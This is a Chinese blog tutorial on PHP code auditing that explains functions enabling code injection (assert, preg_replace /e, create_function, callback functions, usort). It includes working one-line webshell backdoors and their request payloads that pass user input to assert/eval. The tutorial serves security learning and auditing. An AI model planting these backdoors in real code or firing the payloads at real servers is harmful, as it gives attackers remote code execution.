代码审计

php代码审计入门(二)——危险函数篇之代码注入

2020-10-23  本文已影响0人  book4yi

本文仅作学习记录,如有侵权,请联系删除!

代码执行:


自 PHP 7 开始,执行的代码里如果有一个parse error,eval() 会抛出 ParseError 异常。
在 PHP 7 之前,如果在执行的代码中有 parse error,eval() 返回FALSE,之后的代码将正常执行。无法使用set_error_handler()捕获 eval() 中的解析错误

简而言之:PHP5在代码错误格式错误之后仍会执行,而PHP7在代码发生错误之后,那么eval()函数就会抛出异常,而不执行之后的代码

需要注意的是待处理的字符串要符合PHP的字符串格式,同时在结尾处要有分号

语法格式:

# php5
assert( mixed $assertion[, string $description] ) : bool

# php7
assert( mixed $assertion[, Throwable $exception] ) : bool

参数:assertion
在PHP 5 中,是一个用于执行的字符串或者用于测试的布尔值。在PHP 7 中,可以是一个返回任何值的表达式,它将被执行结果用于判断断言是否成功。

参数:description
如果assertion失败了,选项description将会包含在失败信息里。

参数:exception
在PHP 7中,第二个参数可以是一个Throwable对象,而不是一个字符串,如果断言失败且启用了assert.exception,那么该对象将被抛出

<?php
    $code = "system(whoami)";
    assert($code);
?>

语法格式:

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

参数说明:
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换

pattern有一个模式是/e模式,这个模式就会发生代码执行的问题:
/e 修正符使preg_repace()replacement参数当作PHP代码

<?php
    $a = $_GET['id'];
    preg_replace("/test/e",$a, 'just a test')
?>

注意:preg_replace()函数在PHP 7 后便不再支持,使用preg_replace_callback()进行替换了,取消了不安全的\e模式。

语法格式:

create_function( string $args, string $code) : string

参数:
$args 声明的函数变量部分
$code 要执行的代码

create_function()函数在内部执行eval()函数,所以我们就可以利用这一点,来执行代码。当然正因为存在安全问题,所以在PHP 7.2 之后的版本中已经废弃了create_function()函数,使用匿名函数来代替。

<?php
    $newfunc = create_function('$id', 'return system($id);');
    $newfunc('whoami');
?>

create_function()函数其他用法补充:

<?php
    $onefunc = create_function("","die(`type flag.php`);");
    $_GET['func_name']();
    die();
?>

只需要执行$onefunc就能得到flag,但是我们不知道这个函数的名称。如果在不知道函数名称的情况下执行函数呢?这里就用到了creat_function函数的一个漏洞。这个函数在creat之后会自动生成一个函数名为%00lambda_%d的匿名函数。%d的值是一直递增的,会一直递增到最大长度直到结束。所以这里可以通过多进程或者多线程访问,从而看到flag

本地测试失败

<?php
$anonymousFunc = function($cmd){
    system($cmd);
  };
$anonymousFunc('whoami');

语法格式:

array_map( callable $callback, array $array1[, array $...] ) : array

返回数组,为 array1 每个元素应用 callback函数之后的数组。callback 函数形参的数量和传给array_map() 数组数量,两者必须一样

简而言之:本来有一个数组,我通过array_map函数将该数组当作参数传入,然后返回一个新的数组

<?php
    $old_array = array(1, 2, 3, 4, 5);
    function func($arg){
        return $arg * $arg;
    }
    $new_array = array_map('func',$old_array);
    var_dump($new_array);
?>

代码注入利用原理:

通过array_map()这个函数,来调用用户自定义的函数,而用户这里的回调函数其实就是system函数,那么就相当于我们用system函数来对旧数组进行操作,得到新的数组,那么这个新的数组的结果就是我们想要的命令执行的结果了

<?php
    $func = 'system';
    $cmd = 'whoami';
    $old_array[0] = $cmd;
    $new_array = array_map($func,$old_array);
?>

语法格式:

call_user_func( callable $callback[, mixed $parameter[, mixed $...]] ) : mixed

callback:即将被调用的回调函数
parameter:传入回调函数的参数

<?php
    function callback($a){
        return system($a);
    }
    $cmd = 'whoami';
    call_user_func('callback',$cmd);
?>
<?php
@call_user_func("assert", $_GET['cmd']);

语法格式:

call_user_func_array( callable $callback, array $param_arr) : mixed
<?php
    function callback($a){
        return system($a);
    }
    $cmd = array('whoami');
    call_user_func_array('callback',$cmd);
?>
<?php
$cmd = $_GET['cmd'];
$array[0] = $cmd;
call_user_func_array("assert", $array);

语法格式:

array_filter( array $array[, callable $callback[, int $flag = 0]] ) : array

array:要循环的数组
callback:使用的回调函数。如果没有提供callback函数,将删除array中所有等值为FALSE的条目。
flag:决定callback接收的参数形式

依次将array数组中的每个值传到callback函数。如果callback函数返回true,则array数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

简而言之:该函数过滤调用的函数,而被过滤的是传入的参数

<?php
    $cmd='whoami';
    $array1=array($cmd);
    $func ='system';
    array_filter($array1,$func);
?>
usort( array &$array, callable $value_compare_func) : bool

array:输入的数组
cmp_function:在第一个参数小于、等于或大于第二个参数时,该比较函数必须相应地返回一个小于、等于或大于0的数

代码实例:

<?php
    function func($a,$b){
        return ($a<$b)?1:-1;
    }
    $onearray=array(1,3,2,5,9);
    usort($onearray, 'func');
    print_r($onearray);
?>

执行结果——>
Array
(
    [0] => 9
    [1] => 5
    [2] => 3
    [3] => 2
    [4] => 1
)

利用代码:

<?php 
    usort(...$_GET);
?>

payload: 1.php?1[0]=0&1[1]=eval($_POST['x'])&2=assert
POST传参: x=phpinfo();

那么$_GET变量中的值,应该是:['$a=0','eval($_POST["x"])'],'assert']
$_GET[0]是usort的第一个参数
$_GET[1]是usort的回调函数名
最后相当于:

<?php usort(['$a=0','eval($_POST["x"])'],'assert');?>

适用条件:

php环境>=5.6

另一种用法,经测试适用于php 5.4

<?php usort($_GET,'asse'.'rt');?>

payload: 1.php?1=1+1&2=eval($_POST[x])
POST传参: x=phpinfo();

语法格式:

uasort( array &$array, callable $value_compare_func) : bool

array:输入的数组
value_compare_func:用户自定义的函数

官方示例:

<?php
// Comparison function
function cmp($a, $b) {
    if ($a == $b) {
        return 0;
    }
    return ($a < $b) ? -1 : 1;
}

// Array to be sorted
$array = array('a' => 4, 'b' => 8, 'c' => -1, 'd' => -9, 'e' => 2, 'f' => 5, 'g' => 3, 'h' => -4);
print_r($array);

// Sort and print the resulting array
uasort($array, 'cmp');
print
?>
       
执行结果——>
Array
(
    [a] => 4
    [b] => 8
    [c] => -1
    [d] => -9
    [e] => 2
    [f] => 5
    [g] => 3
    [h] => -4
)
Array
(
    [d] => -9
    [h] => -4
    [c] => -1
    [e] => 2
    [g] => 3
    [a] => 4
    [f] => 5
    [b] => 8
)

排完序之后索引也跟着值的位置变化而变化了

<?php
    $a = $_GET['a'];
    $onearray = array('Ameng', $_POST['x']);
    uasort($onearray, $a);
?>

payload: 1.php?a=assert
POST: x=phpinfo()
<?php
$_GET["a"]($_GET['b']);
?>

?a=assert&b=phpinfo()

参考如下:


PHP代码审计基础知识
PHP函数usort是咋回事?还能当后门?

上一篇下一篇

猜你喜欢

热点阅读